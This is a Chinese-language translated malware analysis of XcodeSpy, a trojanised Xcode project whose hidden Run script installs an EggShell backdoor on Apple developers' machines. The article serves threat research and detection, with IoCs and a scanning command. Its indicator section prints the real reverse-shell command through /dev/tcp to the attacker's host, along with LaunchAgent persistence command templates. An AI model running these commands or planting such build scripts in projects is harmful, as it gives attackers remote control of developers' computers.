深入剖析新型MacOS恶意软件XcodeSpy

匿名者  1103天前

摘要

  • 攻击者正在利用苹果公司的Xcode IDE中的“Run script(运行脚本)”功能,通过共享的Xcode项目感染不知情的Apple开发人员。
  • XcodeSpy是一个恶意的Xcode项目,它会在开发人员的macOS电脑上植入EggShell后门的定制变种,从而实现了持久性的控制。
  • 这个后门软件不仅具有记录受害者的麦克风、摄像头和键盘的功能,同时,它还实现了上传和下载文件的功能。
  • XcodeSpy的感染方式,有可能被其他攻击者所利用,因此,我们建议所有使用Xcode的苹果开发者在采用共享的Xcode项目时要谨慎行事。
  • 同时,我们还提供了一个简单的方法,相关开发人员可以用来检测自己的Xcode存储库中是否含有XcodeSpy。

概述

今年,我们已经发现了一个非常令人不安的新趋势:攻击者通过攻击开发人员以及利用供应链漏洞来入侵广大用户。攻陷软件开发人员是成功的供应链攻击的第一步,其中一种方法是入侵开发人员所必需的开发工具。比如,2021年1月,谷歌TAG就宣布他们发现了一起针对安全研究人员和exploit开发人员的攻击活动。实际上,该攻击活动中用于感染开发人员的方法之一,就是分享一个Visual Studio项目,并通过该项目来加载一个恶意DLL。在这篇文章中,我们将为读者介绍一种类似的攻击方法,即通过恶意Xcode项目来有针对性地攻击苹果系统的开发人员。

最近,在一位匿名研究人员的提示下,我们发现了一个针对iOS开发者的木马化Xcode项目。实际上,该恶意项目是GitHub上一个合法开源项目的篡改版。该项目原来的用途,是为iOS开发者提供了某些高级功能,可根据用户交互情况对iOS的标签栏进行动画演示。

然而,就XcodeSpy版的项目来说,它已经被巧妙地修改过了:当开发人员的构建目标文件时,一个经过混淆处理的Run script将被悄悄地执行。该脚本运行时,将会连接到攻击者的C2,并在开发机器上投放EggShell后门的定制变体。之后,该恶意软件将安装一个用户LaunchAgent,其作用有两点,一是实现持久性,二是记录受害者的麦克风、摄像头和键盘方面的信息。

1.png

我们已经发现了该恶意软件的两个变种,它们都包含一些加密的C2 URL和各种文件路径的加密字符串。其中,有一个加密字符串是在被篡改的Xcode项目和自定义后门之间共享的,从而将它们联系在了一起,由此不难看出,它们都是同一个“XcodeSpy”攻击活动的组成部分。

目前,根据美国的一起ITW案例的分析结果来看,早在在2020年7月至10月之间,该攻击活动就已经开始活跃了,同时,该攻击活动也可能还针对亚洲的开发人员。

到目前为止,我们还没有发现木马化Xcode项目的其他样本,也无法衡量这一攻击活动的危害程度。然而,从已知样本的时间线和下面提到的其他指标表明,很可能还存在其他类似XcodeSpy之类的恶意项目。通过分享这次入侵活动的相关细节,我们希望藉此提高人们对这种攻击手段的认识,并强调这样一个事实,即开发人员是攻击者的高价值目标。

XcodeSpy使用的隐身技术和启动恶意脚本的技术都非常简单,可以轻松部署到各种共享的Xcode项目中。因此,在采用第三方Xcode项目时,所有Apple开发人员都应注意检查其中是否存在恶意的Run script。在下文中,我们将介绍一种简单的方法,开发者可以用来扫描自己的本地Xcode存储库中是否含有相关恶意脚本。

滥用Xcode的Run script功能

实际上,XcodeSpy利用的是Apple IDE的内置功能,该功能允许开发人员在启动其目标应用程序的实例时运行自定义的shell脚本。虽然这种技术很容易识别,但不了解Run script功能的新开发者或没有经验的开发者特别容易中招,因为这些恶意脚本运行期间,在控制台或调试器中根本看不到任何运行迹象。

我们分析的样本使用了一个合法的开源项目的副本,该项目可以在Github上找到,名为TabBarInteraction。实际上,该Github项目中的代码并没有感染XcodeSpy,开发者potato04也没有与恶意软件的行为有任何牵连。

 1.png

在TabBarInteraction的篡改版中,可以在Build Phases选项卡中找到经过混淆处理的恶意脚本。在默认情况下,“Runscript”面板并不会展开,这使得该恶意软件很容易成为漏网之鱼。

不过,如果点击公开按钮的话,这个经过混淆处理的脚本就会暴露无遗了。

1.png

对于该恶意软件来说,它使用的模糊处理技术比较简单,实际上,我们只要用echo代替eval,并在单独的shell中运行该脚本,就可以安全地检查其输出结果。

 1.png

该脚本会在/tmp目录下创建一个名为.tag的隐藏文件,其中包含一个命令:mdbcmd。之后,该脚本将通过一个反向shell管道将其连接至攻击者的C2。

 1.png

截至我们发稿时,VirusTotal上的所有静态引擎都无法检测出该恶意样本。

将XcodeSpy链接到一个自定义的EggShell后门

当我们发现该恶意的Xcode项目时,cralev[.]me的C2已经下线,因此,无法直接确定mdbcmd命令的结果。不过幸运的是,在VirusTotal上有两个EggShell后门的样本,其中包含了与XcodeSpy相关的字符串/private/tmp/.tag。

6d93a714dd008746569c0fbd00fadccbd5f15eef06b200a4e831df0dc8f3d05b

cdad080d2caa5ca75b658ad102987338b15c7430c6f51792304ef06281a7e134

这些样本都是通过Web界面从日本上传到VirusTotal网站的,第一个样本的上传日期是8月5日,第二个样本的上传日期是10月13日。

后来的样本也是在2020年底从美国的一个受害者的Mac电脑上发现的。出于保密的原因,我们无法提供有关该ITW事件的进一步细节。然而,据该受害者称,他们已经成为朝鲜APT攻击者的多次入侵活动的目标,被感染的机器是在他们定期进行的威胁狩猎活动中发现的。

由于从日本上传到VirusTotal的样本来自没有登录VirusTotal账户的用户,因此,我们无法判断它们是来自同一个来源还是两个不同的来源。尽管如此,我们仍然可以肯定它们是相互关联的,并且都是包含字符串P4CCeYZxhHU/hH2APz6EcXc=,这其实就是恶意Xcode项目中发现的/private/tmp/.tag字符串的加密版本。

 1.png

EggShell后门使用了一种简单的字符串加密技术。解密时,需要将加密的字符串传递给[StringUtil decode:]方法,该方法会将加密的字符串用base64编码,然后遍历每个字节,并在其中添加0xf0。这就产生了一个可打印的ASCII字符代码,然后将其连接起来产生完整的字符串。

 1.png

我们可以根据上面的伪代码通过objective-C实现自己的解码器,以便对Mach-O二进制文件中的字符串进行解密。

 1.png

如果对这两种变体中的其他字符串进行解码,会发现一些用于从受害者的机器上传数据的硬编码URL。

https://www.suppro.co/category/search.php?ts=%@

https://www.liveupdate.cc/preview/update.php?ts=%@

https://www.appmarket.co/category/search.php?ts=%@

https://www.recentnews.cc/latest/details.php?ts=%@

https://www.truckrental.cc/order/search.php?ts=%@

https://www.everestnote.com/sheet/list.php?ts=%@

https://www.alinbox.co/product/product_detail.php?ts=%@

 1.png

实际上,所有这些来自该后门二进制文件的域名都是在9月10日或11日第一次看到或第一次通过“whis”查询到的。

 1.png

恶意Xcode项目的域名cralev[.]me也是在9月10日第一次被发现的。

 1.png

TabBarInteraction Xcode项目的篡改版本身也是在一周前的9月4日首次在VirusTotal上看到的。

 1.png

通过这些日期,我们推测攻击者可能在激活C2之前,就自己把XcodeSpy项目的相关文件上传到VirusTotal网站来检查各种杀毒软件的检出率。除了suppro[.]co和cralev[.]me域名外,其他域名似乎是不活跃的或未注册的,也许是留作将来之用。有趣的是,VT提供的关于XcodeSpy上传者所在地的国家代码是“ZZ”,即未知国家。

同时,EggShell后门变种在VirusTotal上的首次出现的时间相隔大约两个月(8月5日和10月13日)。如果后门是由受害者,而不是攻击者上传的 (这只是一个假设,未必成立), 这将表明,第一个自定义EggShell二进制代码可能是一个早期的XcodeSpy样本的payload。然而,根据现有的数据来看,这些猜测的可信度不是很大。我们知道的是,第一个EggShell payload早于已知的dropper之前整整一个月上传的,而在10月13日VirusTotal网站上看到第二个payload早了两个多月。

EggShell的行为分析

在执行时,定制的EggShell二进制文件会在~/Library/LaunchAgents/com.apple.usagestatistics.plist或~/Library/LaunchAgents/com.apple.appstore.checkupdate.plist中投放一个LaunchAgent。这个plist将检查原始的可执行文件是否正在运行——如果没有运行的话,它就会利用~/Library/Application Support/com.apple.AppStore/.update的“master”版本创建一个可执行文件的副本,然后执行它。

 1.png

此外,EggShell还会在/private/tmp/wt0217.lck中投放一个零字节文件,并在~/Library/Applicationscripts/com.apple.Preview.stors中投放一个数据文件。在这个二进制文件中,还有许多经过加密的文件路径(有关完整列表,请参见本文结尾处的IoC)。可以肯定的是,几乎所有这些路径都是攻击者自定义的。然而,有一个加密字符串将被解密为/tmp/.avatmp,这是一个在公开的EggShell存储库中找到的用于存储AV数据的默认路径。

这个公开的EggShell存储库中的源代码包含了持久化、屏幕捕获和AV录制等各种功能。

 1.png1.png

通过分析在野外和VirusTotal上发现的编译后的XcodeSpy变种,我们发现,它们都实现了这些功能以及自己的自定义数据编码和键盘记录方法。

1.png1.png

检测方法和缓解措施

在本文后面,我们提供了一份完整的已知IoC列表。由于所有的C2、路径名称和加密字符串都是高度可定制的,并且很容易发生变化,也就是说,这些只能作为这些特定样本过去的入侵指标。因此,我们需要一个行为检测解决方案来全面检测XcodeSpy payload的存在情况。

威胁猎手和开发者如果想检查自己是否无意中下载了包含XcodeSpy的项目,可以在命令行环境下,通过下面的方法进行手动搜索:

find . -name "project.pbxproj" -print0 |xargs -0 awk '/shellscript/ && /eval/{print "\033[37m" $0"\033[31m" FILENAME}' 

这些命令的作用,就是在Xcode项目的Build Phases部分(位于project.bbxproj文件中)中搜索包含字符串shellscript和eval的Runscript。如果找到相关脚本,它就会打印出该脚本的副本供检查,同时,它还会输出找到的脚本的文件名。

下面在Documents文件夹及其所有子文件夹中搜索XcodeSpy的例子。

 1.png

在运行该命令之前,用户应该首先切换到Xcode项目所在的父文件夹中。

当然,单个项目可以通过Xcode项目导航器中的Build Phases选项卡来检查是否存在恶意的Run script。

小结

这已经不是入侵者第一次将Xcode作为感染苹果平台开发人员的载体了。早在2015年,XcodeGhost就向中国的iOS开发者提供了一个特殊版本的Xcode,因为从本地镜像下载要比从苹果服务器下载更快。但是,相关受众不知道的是,他们收到的Xcode版本已经遭到篡改,可以将恶意代码注入任何用它编译的应用中。例如,用XcodeGhost编译的应用程序可以被攻击者用来读写设备剪贴板,打开特定的URL(如WhatsApp、Facebook),并将数据传输给C2服务器。实际上,XcodeGhost本质上就是一种供应链攻击,通过第三方软件来感染下游受害者。

相比之下,XcodeSpy采用攻击方法则是将Xcode项目木马化,使其比完整版的Xcode IDE更轻巧,更容易分发。虽然XcodeSpy看上去是直接针对开发者本身,而不是开发者的产品或客户端的,但从向开发者的工作环境植入后门,到向该开发者软件的用户投递恶意软件,只有一步之遥。

尽管XcodeSpy完全有可能是针对某个开发者或开发者群体的,但是,在其他潜在的攻击场景中,这些人也是一批非常有价值的入侵对象。攻击者可能只是在搜寻潜在的攻击目标,并为未来的入侵活动收集数据,或者他们可能试图收集AppleID凭证,以便为其他攻击活动中用到的恶意软件实现有效的苹果开发者代码签名。一方面,这些看法无法覆盖所有的可能性,同时,它们之间也不是相互排斥的。

我们希望本文能够提高人们对这一威胁的认识,我们非常乐于与其他研究人员或个人交流在野发现的XcodeSpy感染证据。

IOC(Indicators of Compromise)

URL&IP

www[.]cralev.me/

hxxps://www[.]liveupdate.cc/preview/update.php

hxxps://www[.]appmarket.co/category/search.php

hxxps://www[.]recentnews.cc/latest/details.php

hxxps://www[.]truckrental.cc/order/search.php

hxxps://www[.]everestnote.com/sheet/list.php

hxxps://www[.]alinbox.co/product/product_detail.php

hxxps://www[.]suppro.co/category/search.php

 

193.34.167.111

193.34.167.205

EggShell bins: */.update

SHA 256:6d93a714dd008746569c0fbd00fadccbd5f15eef06b200a4e831df0dc8f3d05b

SHA 1: 556a2174398890e3d628aec0163a42a7b7fb8ffd

SHA 256:cdad080d2caa5ca75b658ad102987338b15c7430c6f51792304ef06281a7e134

SHA 1: 0ae9d61185f793c6d53e560e91265583675abeb6

Xcode proj: TabBarInteraction.zip

SHA 256: 1cfa154d0145c1fe059ffe61e7b295c16bbc0e0b0e707e7ad0b5f76c7d6b66d2

SHA 1: d65334d6c829955947f0ceb2258581c59cfd7dab

编码后得到的文件路径

~/Library/Applicationscripts/com.apple.TextEdit/.stors

~/Library/Application scripts/com.apple.Preview/.stors

~/Library/Applicationscripts/com.apple.usernoted/.wfy1607

~/Library/Applicationscripts/com.apple.TextEdit/.scriptdb

~/Library/ApplicationSupport/com.apple.AppStore/.update

~/Library/ApplicationSupport/com.apple.usernoted/.wfy1607

~/Library/LaunchAgents/com.apple.usagestatistics.plist

~/Library/LaunchAgents/com.apple.appstore.checkupdate.plist

/private/tmp/.osacache

/private/tmp/.osacache2

/private/tmp/.update

/tmp/.avatmp

/private/tmp/.wt0217.lck

/private/tmp/.tag

行为指标

killall %@;sleep 3;cp "%@" "%@";chmod+x "%@";"%@" %@ 1>/dev/null 2>/dev/null

if (! pgrep -x %@ >/dev/null);then cp"%@" "%@";chmod +x "%@";"%@";fi;

sleep 1;launchctl unload "%@" >/dev/null;launchctl load "%@" > /dev/null

launchctl unload "%@" 2>/dev/null; rm"%@"

echo mdbcmd > /private/tmp/.tag;bash&>/dev/tcp/www.cralev.me/443 0>&1 &

MITRE ATT&CK TTPs

应用层协议:Web协议|XcodeSpy可以在C2通信中使用HTTPS,见T1071 001。

创建或修改系统进程:启动代理|XcodeSpy可以通过LaunchAgent实现持久化,见T1543 001。

文件和目录发现|XcodeSpy可以扫描被入侵主机上的目录,见T1083.

隐藏证据:隐藏文件和目录|XcodeSpy可以隐藏一些带有点前缀的文件,使其无法被Finder应用程序发现,见T1564 001。

入侵工具传输|XcodeSpy可以从C2服务器下载其payload,见T1105。

伪装|XcodeSpy在使用“com.apple”反向标识符的路径和以合法的macOS系统软件命名的子文件夹(TextEdit、Preview)中投放了许多文件,见T1036。

输入捕获:击键记录功能|XcodeSpy可以记录用户的按键,在用户输入时截获相关凭证,见T1056 001。

输入捕获:GUI输入捕获|XcodeSpy可以通过Applescript,以外观上看上去很正规的提示来诱骗用户输入相关凭证,见T1056 002。

进程发现|XcodeSpy可以收集正在运行的进程和父进程的数据,见T1057。

 

本文由secM整理并翻译,不代表白帽汇任何观点和立场
来源:https://labs.sentinelone.com/new-macos-malware-xcodespy-targets-xcode-developers-with-eggshell-backdoor/

最新评论

昵称
邮箱
提交评论